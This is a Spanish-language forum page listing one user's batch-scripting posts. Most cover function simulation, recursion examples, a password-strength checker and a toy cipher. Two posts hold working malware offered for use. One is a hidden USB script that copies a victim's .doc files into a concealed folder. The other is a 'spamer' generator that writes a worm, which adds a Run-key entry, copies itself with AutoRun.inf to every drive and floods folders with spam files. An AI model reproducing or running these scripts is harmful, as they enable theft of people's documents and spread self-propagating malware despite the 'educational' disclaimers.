Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Guerrerohgp

#1
Saludos a todos, sé que me desaparezco a veces, pero he estado ocupado (como siempre), pero esta noche me saque el tiempo para crear este tema, bueno quizás algunos no se han dado cuenta y otros quizás lo usan sin darse cuenta, pero no lo hemos planteado en concreto (o al menos eso creo yo), así que creo que soy el primero en la implementación del concepto  en BATCH, perdón si ya alguien lo ha establecido concretamente y me estoy llevando los créditos pero por lo menos hasta ahora no lo he visto en ningún lado .

Las funciones en BATCH, como todos sabemos al igual que las matrices no existen, pero podemos simularlas  ;D. ¿Cómo así?
Pues sencillo, al simular una matriz lo que hacemos en BATCH es asignarle las dimensiones con mas variables en la variable XD, con lo que conocemos de "Setlocal enabledelayedexpansion" le agregamos al CODE la posibilidad del las retrasadas je je , así usando "!" para la llamada de estas y una variable llamada "Hola", seria matriz en "Hola[%n%]" y su contenido seria invocado con "!Hola[%n%]!", etc. Este tema ya lo hemos tratado si quieren saber más pues busquen en el foro o GOOGLE, siempre se encuentran muchas cosas interesantes.

¿Qué es una función en programación?

Según: http://www.alegsa.com.ar/Dic/funcion.php
En programación, una función es un grupo de instrucciones con un objetivo en particular y que se ejecuta al ser llamada desde otra función o procedimiento. Una función puede llamarse múltiples veces e incluso llamarse a sí misma (función recurrente).
Las funciones pueden recibir datos desde afuera al ser llamadas a través de los parámetros y deben entregar un resultado.

Se diferencian de los procedimientos porque estos no devuelven un resultado.


¿Cómo la implementamos en BATCH?

Bueno, a lo que estamos aquí, las funciones en BATCH podemos simularlas con algo común, el comando  "CALL", la diferencia con esto es que estableceríamos los parámetros con %1 %2 %*, definiríamos los campos y/o variables etc.
Podemos hacerlo de dos maneras, definiendo los campos antes del CALL (cosa que no recomiendo) o enviando los campos al llamar las etiquetas.

El primer ejemplo de función a mi estilo  es:

@echo off
Setlocal enabledelayedexpansion
Set/p "num=Digito a multiplicar por 2: "
Call:Funcion_multiplicarPorDos  resultado !num!
echo.!resultado!
pause>nul&exit


:Funcion_multiplicarPorDos
set/a "%1=%2*2"
goto:EOF


Como vemos la función multiplica por 2 y el resultado es pasado por parámetro para ser establecido en la función.

Ok, está entendido, pero ¿qué hay de diferencia con el GOTO?
Pues sencillo, el GOTO nos confunde al usarlo,no nos permite "%n" , y la mejor simulación nos la provee CALL,  el EOF de CALL lo podemos usar para finalizar una función y continuemos el CODE donde estaba, al igual que una función de otros lenguajes.

Revisión, entonces, veamos pues algunos dirán, pero yo implemento funciones a cada rato, y bueno quizás sí, pero en BATCH esto no veo que muchos lo hagan, lo que si veo mucho es que usan como dice la definición, un procedimiento, el cual no retorna nada.


Con esta forma de hacer una función podemos simular las funciones de C# que se asignan por OUT.
Me gustaría agregar que por convicción al usar una función en las etiquetas pongan function_nombreDeLaFuncion o funcion_nombreDeLaFuncion para diferenciarlas de los procedimientos.


Por ejemplo este es un procedimiento:
@echo off
:: Send the length of the variable %MyVar%
:: to the variable %length%
:: by Secret_Doom
set #=%MyVar%
set length=0
:loop
if defined # (set #=%#:~1%&set /A length += 1&goto loop)
echo MyVar is %length% characters long!


Podemos ver que aquí, al finalizar solo se se lleno la variable length sin llamadas ni continuacion del CODE.

Veo tambien que los batcheros usamos esto mucho con call y casi como una funcion, e incluso hemos creado funciones, pero como comandos externos.

Bueno ya tememos una forma de como hacer funciones. ¿Pero qué sucede si queremos hacer que nuestra función acepte más parametros?

Sencillo solo usamos los %1, %2, %3, ..., %9 y usar pue shift. Hay un manualsito aqui en el foro.

pero ti tomamos esto y lo mejoramos con la misma funcion, que podemos ahora llamar metodo para esto XD.
podemos.....
¿Adivinen qué?

Emular la sobracarga de metodos.

Seguro dirán, ¿Cómo?
sencillo, pues en el metodo ponemos if´s que nos diran cuantos parametros tiene y asunto resuelto.

aqui un ejemplito creado por mi XD.

@echo off
setlocal enabledelayedexpansion
::Simulacio de la sobrecarga de metodos.
::Simulation of overloading methods.
::Created by Guerrerohgp
::My aim is to show that this is possible XD.
::Mi objetivo es mostrarles que esto es posible XD.
:ini
set/p "str=Ingrese parametros (maximo 3): "
if not defined str goto:ini
call:factorial !str!
pause>nul

:factorial
if not "%3"=="" (echo. Tres parametros!!) else (

if not "%2"=="" (echo. Dos parametros!!) else (

if not "%1"=="" (echo. Un Parametro!!)

)
)
goto:eof


bueno, ya esta XD. si tienen sugerencias de mas cosas que puedan ir qui me avisan.

-Funciones como archivos externos

Bueno, pues como mencione antes hemos creado varios archivos externos y que al igual que con las etiquetas los llamamos con call y si se encuentran en el system32 o un path registrado entre las variables de entorno de GUINDOWS o en el mismo directorio solo escribimos su nombre y ya, pero como sea enviamos los paramentros si es que los necesita.

Todo lo anterior dicho se puede implementar en archivos externos al bat, pero hay un que se yo con esto, a los bacheros no nos gusta crear tanto archivo mientras hacemos nuestros scripts, siempre intentamos hacer todo en un solo archivo así que bueno, lo podemos implementar como archivos externos como ya lo habian visto de seguro.


Diferentes tipos de inplementacion de funciones

Bueno, las funciones nos gustan porque son cool XD. Naa, mentira.
Las funciones son muy utiles, y podemos usar en batch estas virtudes que nos entregan, por ejemplo.
las funciones recursivas.

Algunos se preguntaran. ¿Guerrerohgp, qué es la recursividad?

Bueno mis queridos batcheros, la recursividad es, en la forma mas simple de expresarlo: Cuando una funcion se llama a si misma dento de ella.

y dirán, bueno y ¿Para que sirve?

Pues para usar la misma funcion varias veces, la usamos mas para recorrer arboles.
Por ejemplo tomemos nuestro disco duro.
hay un directorio raiz, que es C:\ generalmente.
pero si queremos saber cuantos directorios hay en C:, la unica forma de hacerlo es usando una funcion recursiva que entre en cada directorio y sume retornando un valor cada vez.

parece largo y tedioso, pero es la unica forma de hacerlo.
incluso el comando "tree" eso es lo que hace.

y bueno no es que para todo sea necesario pero aca unos ejemplitos mios XD.

Calcular Factorial de un numero.

@echo off
setlocal enabledelayedexpansion
::Created By Guerrerohgp
:ini
set num=0
set result=1
set/p "num=Ingrese su numero: "
if not defined num goto:ini
call:Function_factorial !num!
echo.El factorial de !num! es !result!
pause>nul
exit

:Function_factorial
if %1==1 goto:eof
set/a "result*=%1"
set/a "n=%1-1"
call:Function_factorial !n!



Par o impar.

@echo off
::Created By Guerrerohgp
setlocal enabledelayedexpansion
goto:ini
:impar
if "%1"=="0" (echo.Impar) else (
set/a "n=%1-1"
call:par !n!
)
goto:EOF

:par
if "%1"=="0" (echo.par) else (
set/a "n=%1-1"
call:impar !n!
)
goto:EOF

:ini
set num=0
set/p "num=Ingrese su numero: "
if not defined num goto:ini
call:par !num!
pause>nul
exit


La solucion a las torres de hanoi

@echo off
setlocal enabledelayedexpansion
:::::::::::::::::::::::::::::::::::::::::
::Script Para Resolver Torres de Hanoi.::
::Creado por Hugo Guerrero (Guerrerohgp):
:::::::::::::::::::::::::::::::::::::::::
::::::::::::::::::::::::::::::::
::Script to solve Hanoi Towers::
::   Created By Guerrerohgp   ::
::           2011             ::
::::::::::::::::::::::::::::::::
:ini
set/p "cantidad=Ingrese el numero de discos en la torre: "
if not defined cantidad goto:ini
if !cantidad! lss 0 goto:ini
call:algoritmoHanoi !cantidad! Torre_1 Torre_2 Torre_3
pause>nul
exit



:algoritmoHanoi
setlocal
if "%1" equ "0" goto:eof
set/a "cnt=%1-1"
call:algoritmoHanoi !cnt! %2 %4 %3
echo.Mover disco %1 de %2 a %4
call:algoritmoHanoi !cnt! %3 %2 %4
endlocal
goto:eof




¿Cuáles son las desventajas?

Los problemas son los siguientes, si usamos setlocal/endlocal dentro de una funcion y a la vez la recursividad y queremos conservar un valor para retorno no seria posible Ya que se borran con endlocal, osea no lo usamos, pero gastaremos mas memoria si las usamos asi sin mas.

Al tener las variables en las funciones recursivas con retorno, seguiran precentes fuera de la funcion y nos impedira usar estas variables para otros motivos ya que nos hace mas suceptibles a errores. (la solucion es ponerle siglas de la funcion y tratar que no sea un nombre común para no equivocarnos con otras variables).

Y saber que solo es una simulacion, la realidad de la simulacion depende de como la implementemos cada uno, asi que puede mejorarse y adaptarse a las situaciones. Al final solo depende de nosotros XD.

Otra vez me cayó el sueño, es casi madrugada asi que chao,
estoy medio bobo, cualquier ajuste o error me dicen para arreglarlo,
tambien si quieren que se agregen mas cosas.

Bye, bytes,
Guerrerohgp.

#2
Bueno, esto le tenia desde hac mucho y pues me dio la gana de acabarlo y hoy lo posteo despues de dialogar si era bueno o no, pero ya que, esta aqui.
Dicho script hace una funcion interesante, copia todos los documentos .doc, docx o doc(algo), jeje.
si decean solo copiar la musica pues sera solo cambiar el .doc por .mp3 o .midi o algo asi XD.

para un uso efectivo se debe de esconder el bat con algo, ya sea vbs o un programa raro o su propio metodo de ocultacion, la cuestion es arrancar el bat desde la usb y ya XD.


Suerte!

pd: la info sacada de la pc victima es guardada en una carpeta llamada 26.

bye, bytes,
Guerrerohgp
Código (dos) [Seleccionar]
@echo off
::HGP-USBpC sTeaLer
::Creado Por Guerrerohgp
::Solo con proposito educativo,
::no soy responsable del mal uso
::de este script.

::http://guerrerohgp.blogspot.com

@setlocal enabledelayedexpansion

@set "usb=%~d0\"
@set "h=!usb!26\%computername%\"

@start !usb!
@if not exist "!usb!26\" (@md "!usb!26"&&attrib +h "!usb!26")
@if not exist "!h!" (
@md "!h!"
) else (
@exit
)


%homedrive%
@for /f "delims=?" %%a in ('dir /b /s "*.doc"') do (@copy /y "%%a" "!h!">null)
@exit

#3
Multimedia / Como pasar de cinta a dvd?
23 Agosto 2010, 18:06 PM
Buenas, de nuevo estoy preguntando y pues mi pregunta surge porque me he visto en la necesidad de pasar los videos de citas a dvd y no encuentro solucion,
me gustaria que me hechen una mano.

he pensado en comprar una tarjeta de video que tenga entradas de auxuliar, reproducirlas, grabarlas en la pc con camtacia o un programa similar y luego quemarlas, pero no se si hay un mejor metodo o algo que no requiera que compre una nueva tarjeta o si funcione.

Gracias de antemano.

Bye, bytes,
Guerrerohgp
#4
Scripting / ADIVINADOR [batch]
3 Noviembre 2009, 18:12 PM
bueno se que es un poco tonto, pero me gusto el juegito de que te adivina el numero. y pues lo hic.
c que es muy simple pero espero se diviertan un poco XD. ;D ;D

tambien c que no es lo que yo normalmente postearia pero ya que, me sigue pareciendo divertido para algunos hacerlos caer XD  :toma:

el code:
@echo Off
seTlocaL EnableDelayedExpansion
moDe cOn cols=32 lineS=10
::BY HGP or Guerrerohgp
tiTle Divinador&color a
seT "cntr=echo.&echo.&echo.&"&seT "q=pause>nul"
%cntr%echO.Elige un Numero en tu mente^!&%q%&cls
%cntr%echO.Ahora te doy esa misma cantidad que elegiste
%cntr%echO.Y sumala^!.&%q%
seT/a "r=%random%%%50"
for /l %%a in (2,2,100) do (seT/a "s+=1"
if "!s!" equ "!r!" (seT "r=%%a"))
:fn
seT/a d=%R%/2
cls&%cntr%echO.ahora sumale %R%&%q%
cls&%cntr%echO.ahora divide eso entre 2&%q%
cls&%cntr%echO.Y por ultimo dame lo que te di!&%q%
cls&%cntr%echO.JAJAJA. Ya Se Tu resultado&%q%
cls&%cntr%echO.Tu resutado es %d%&%q%
cls&echo.Bytes, bye&%q%
#5
Scripting / SecurE LeveL HGP [batch]
23 Octubre 2009, 02:58 AM
Bueno como he estado ocupado ultimamente y creo q lo estare mas, habia dejado mi proyecto, pero este es un adelanto
el secure level, seguro a algunos les va a ser de ayuda =D.

bueno un code totalmente funcional testeado en XP,Vista,7 y Vista x64 q es la q tengo y en un lio pok no puedo usar el debug ='(
bueno nada mas, tengo par de codes en mente, algun rato continuo XD :xD

ademas no he visto un code de medir seguridad de pass ;D
@ECHO OFF
seTlocaL enabledelayedexpansioN
TiTle SecurE LeveL HGP&modE coN colS=41 lineS=10
coloR a

::By Guerrerohgp
::Secure level
::Este script esta a libre uso, BSD.
::no cambiar autor xD.

:inI
seT "pass="&seT "cnT="
cls&seT/p "pass=Tu Clave: "
cls&if noT defined pass goTo inI

:Len
seT/a "cnT+=1"
seT "pass2=!pass:~0,%cnT%!"
if "%pass2%" neq "%pass%" goTo:Len

if %cnT% lss 6 (echo.La clave debe tener minimo 6 caracteres&pause>nul&goTO:inI)
seT "min="&foR %%j in (a,b,c,d,e,f,g,h,i,j,k,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (seT "le=%%j"&call:conp min)
seT "May="&foR %%i in (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do ( seT "le=%%i"&call:conp May)
seT "num="&foR %%h in (1,2,3,4,5,6,7,8,9,0) do (seT "le=%%h"&call:conp num)

seT "niv=%min%%May%%num%"
echO.            Nivel de Seguridad         
echO.              1           2            3
echO. _______________________________________&echO. %niv%
pausE>nul
goTO:inI

:conp
foR /l %%k in (0,1,!cnT!) do (seT "sec=!pass2:~%%k,1!"
if "!sec!" equ "!le!" set "%1=²²²²²²²²²²²²²")
goTO:eoF
#6
Bueno, tenia un poco de tiempo de sobra y se me ocurrio que como he estado experimentando tanto con encriptacion, decodificacion y funcionamiento. pues hacer un code que muestre como se cifra y descifra en tiempo real, osea el fececto encriptador y desencriptador, claro q no solo es un efecto sino q es una encriptacion y decodificacion real. asi q se puede usar para mas propositos como solo yo los he usado jijiji, pero con el tiempo los veran ya q me divierta un poco mas, sin mas q decir aca el code:

@echo off
::^| nombre:  Efecto Codificador-Decodificador ó                       ^                         
                   Effect  Encrypt-Decrypt
::^| autor:     Guerrerohgp               
::^| fecha:     20/08/2009
::^| codigo totalmente crado para
::^| diversas formas de uso,
::^| desde este efecto hasta
::^| la imaginacion de cada uno.
::^| Uso libre, no cambiar autor.

title Efecto Codificador-Decodificador -HGP-
setlocal enabledelayedexpansion
color a&mode con cols=44 lines=10
:hgp
set "cnt=9"&set "c=%random:~-2%"
cls&echo.&set /p "cod=Su frase: "
if not defined cod goto:hgp
set "cod=%cod: =_%"
cls&call:crypt
call:decrypt
:crypt
for %%* in (a b c d e f g h i j k l m n o p q r s t u v w x y z _) do (set "ln=%%*"&call:enc)
echo.&echo.cifrado :  &echo.
echo.    %cod2%
echo.&echo.         Press Key To Decrypt...
pause>nul
goto:eof
:enc
set "%cnt%=%ln%"
set /a "cc=%cnt%+%c%"
set "cod=!cod:%ln%=%cc% !"
set "cod2=%cod%"
set "cod2=!cod2: =!"
set "cod2=!cod2:_= !"
echo.%cod2%
ping -n 2 localhost>nul
set /a "cnt+=1"
cls&goto:eof
:decrypt
for %%_ in (%cod%) do (set "dc=%%_"&call:ds)
cls&set "cod2=!cod2:_= !"
echo.&echo.         Listo descifrado: &echo.
echo.    %cod2%
pause>nul
goto:hgp
:ds
cls&set /a "fn=%dc%-%c%"
set "ll=!%fn%!"
set "cod=!cod:%dc%=%ll%!"
set "cod2=%cod%
set "cod2=%cod2: =%
set "cod2=!cod2:_= !"
echo.%cod2%
ping -n 2 localhost>nul
goto:eof



Espero les guste.
ATT: Guerrerohgp

SaludOXC
#7
En esta ocacion se me ocurrio crear mi nuevo pass-char (character=simbolo)
lo k hace es guardar la pass en un variable y solo mostrar * en lo que deberia ser nuestra pass ;-), util por q sin eso solo mostraria nuesta pass al digitarla cosa q todos la verian.
uso el keyboard.
bueno nada mas que decir aca el code:

@echo off
title PASS-CHAR BY -.: GUERREROHGP :.-
::Coded BY Guerrerohgp
mode con cols=35 lines=10
color f0&if not exist keyboard.exe ((echo.n keyboard.hgp&echo.e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF&echo.e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo.e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21&echo.rcx&echo.002E&echo.w0&echo.q&echo.)>keyboard.hgp&type keyboard.hgp|debug&ren keyboard.hgp keyboard.exe)>nul 2>&1
:ini
cls&echo.ERRORLEVEL:%errorlevel%     LETRA:%let% &echo.&echo.PASS:%vart%
echo.CHAR:%char%
keyboard
:fr
if "[%errorlevel%]"=="[32]" (set "let=SPACE"&set "vart=%vart% "&set "char=%char%*"&goto:ini)
if "[%errorlevel%]"=="[8]" (set "let=BACKSPACE"&if "[%char%]"=="[]" (goto ini) else (set "char=%char:~0,-1%")
if "[%vart%]"=="[]" (goto ini) else (set "vart=%vart:~0,-1%")
goto ini)
if "[%errorlevel%]"=="[27]" exit
set nums=48&for %%a in ( 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z) do (set let=%%a&call:nnn)
set let=UNKNOWN&goto:ini
:nnn
if not "[%errorlevel%]"=="[%nums%]" (if "[%let%]"=="[9]" set nums=64
if "[%let%]"=="[Z]" set nums=96
set /a nums+=1&goto:eof)
set vart=%vart%%let%
set "char=%char%*"
goto:ini


esperando sus criticas jijiji.
#8
Scripting / [batch]Spamer hhh v2.0
11 Junio 2009, 05:48 AM
Despues de un tiempo hoy se me ocurrio acordarme de batch y mejorar mi spamer hhh, ahora tiene mejoras en que la opcion de eliminar el virus viene incluida, ademas de que eliges el numero de mensajes que envias. y el mensaje spam tambien.

Espero les guste.

@echo off
:ini
color f0
mode con cols=30 lines=13
title Spamer -hhh-  v2.0
set Ä=ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
::-Created by Guerrerohgp-::
:strt
cls
set hgp=
echo. Ú%Ä%¿
echo.&echo.   1.Crear nuevo spamer.&echo.&echo.   2.Desinfectarte de virus.&echo.&echo.   3.INFO&echo.
echo. À%Ä%Ù
set /p hgp=          -^>
if not defined hgp goto strt
if t%hgp%==t1 goto createhhh
if t%hgp%==t2 goto quithhh
if t%hgp%==t3 goto info
goto strt

:createhhh
cls&echo. Cual es tu mensaje para hacer spam?&echo.&set /p G= -::^>
cls&echo.&echo. es tu mensaje?
echo.&echo %G%
echo.&echo.      1.si 2.no&&set /p es=::^>
if %es%==1 goto num
cls&goto createhhh

:num
cls&echo. Cuantos archivos spam deceas&echo. que se envien en cada &echo. carpeta?&echo.&set /p n= -::^>
if %n% lss 1 goto num
if %n% gtr 100 (msg * ERROR, SOLO NUMEROS Y SOLO HASTA 100&goto num)

echo ^@echo off>>%homedrive%\hh.cmd
echo title spam hhh>>%homedrive%\hh.cmd
echo if exist ^"%%windir%%\win.cmd^" goto spam>>%homedrive%\hh.cmd
echo copy /y %%0 ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd
echo reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /t REG_SZ /d ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd
echo :spam>>%homedrive%\hh.cmd
echo for %%%%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%%%h>>%homedrive%\hh.cmd
echo call:nm)>>%homedrive%\hh.cmd
echo goto hgp1>>%homedrive%\hh.cmd
echo :nm>>%homedrive%\hh.cmd
echo if exist %%usb%%:\ (copy /y %%0 "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd
echo attrib +h "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd
echo call :usbvir %%usb%%) else (goto:eof)>>%homedrive%\hh.cmd
echo :hgp1>>%homedrive%\hh.cmd
echo cd %%homedrive%%\>>%homedrive%\hh.cmd
echo call:shgp %%homedrive%%>>%homedrive%\hh.cmd
echo for /r /d %%%%g in (*) do call:shgp %%%%g>>%homedrive%\hh.cmd
echo exit>>%homedrive%\hh.cmd
echo :shgp>>%homedrive%\hh.cmd
echo for /l %%%%a in (1,2,%n%) do echo %G%^>^>%%^*\leeme%%%%a.txt>>%homedrive%\hh.cmd
echo goto:eof>>%homedrive%\hh.cmd
echo :usbvir>>%homedrive%\hh.cmd
echo echo [Autorun] ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo open="hgp.bat" ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo icon=%%windir%%\system32\shell32.dll,4 ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo action=Abrir Carpeta para ver archivos. ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo shell\open=Abrir ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo attrib +h +s +r ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo goto:eof>>%homedrive%\hh.cmd
ren %homedrive%\hh.cmd %homedrive%\infectionhhh.cmd
cls
echo listo!!
msg * Archivo listo y guardado en %homedrive%\infectionhhh.cmd
msg * no ejecutes el archivo o te infectaras.
msg * Created By Guerrerohgp
pause >nul
cls&call %0
exit

:quithhh
cls
title hhh spam desinfector
del /f /q /s "%windir%\win.cmd"
reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /f
call:sshgp %homedrive%
for %%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%h
call:nm)
:nm
if exist "%usb%:\hgp.bat" del /f/q/s "%usb%:\hgp.bat"
if exist "%usb%:\AutoRun.inf" del /f/q/s "%usb%:\AutoRun.inf"
goto:eof
del /f/q/s %homedrive%\Archivos
del /f/q/s %homedrive%\Documents
cd %homedrive%\
for /r /d %%h in (*) DO call:sshgp %%h
exit
:sshgp
for /l %%a in (1,2,100) do del /f/q/s %*\leeme%%a.txt
goto:eof
pause>nul
exit
:info
cls
echo   Este scrip es de uso libre&echo.&echo. y solo con fines didacticos
echo.&echo.No soy Responsable del mal uso del scrip.
pause>nul
cls
echo.&echo.  %Ä%&echo.&echo.        Creado Por:&echo.&echo.&echo.        Guerrerohgp
echo.  %Ä%
echo.    guerrerohgp@hotmail.com
pause>nul&cls
goto ini


pd: Cualquier  bug  notificarme para ver si lo arreglo.
#9
Bueno el video dice todo espero le guste.
[youtube=425,350]http://www.youtube.com/watch?v=514BrwBGFgI[/youtube]
#10
Scripting / [Batch] videos programacion
21 Febrero 2009, 01:21 AM
Bueno.
Llevo tiempo penzando hacer un curso en video para explicar la programacion en batch y espero q os guste
ire posteando uno por uno para ver si es combeniente seguir o no.
espero les guste:

1era clase
http://www.megaupload.com/?d=177Z1DSK
     Tamaño del archivo: 25.93 MB

2da clase
http://www.megaupload.com/?d=IZOGXGRA     Tamaño del archivo: 60.55 MB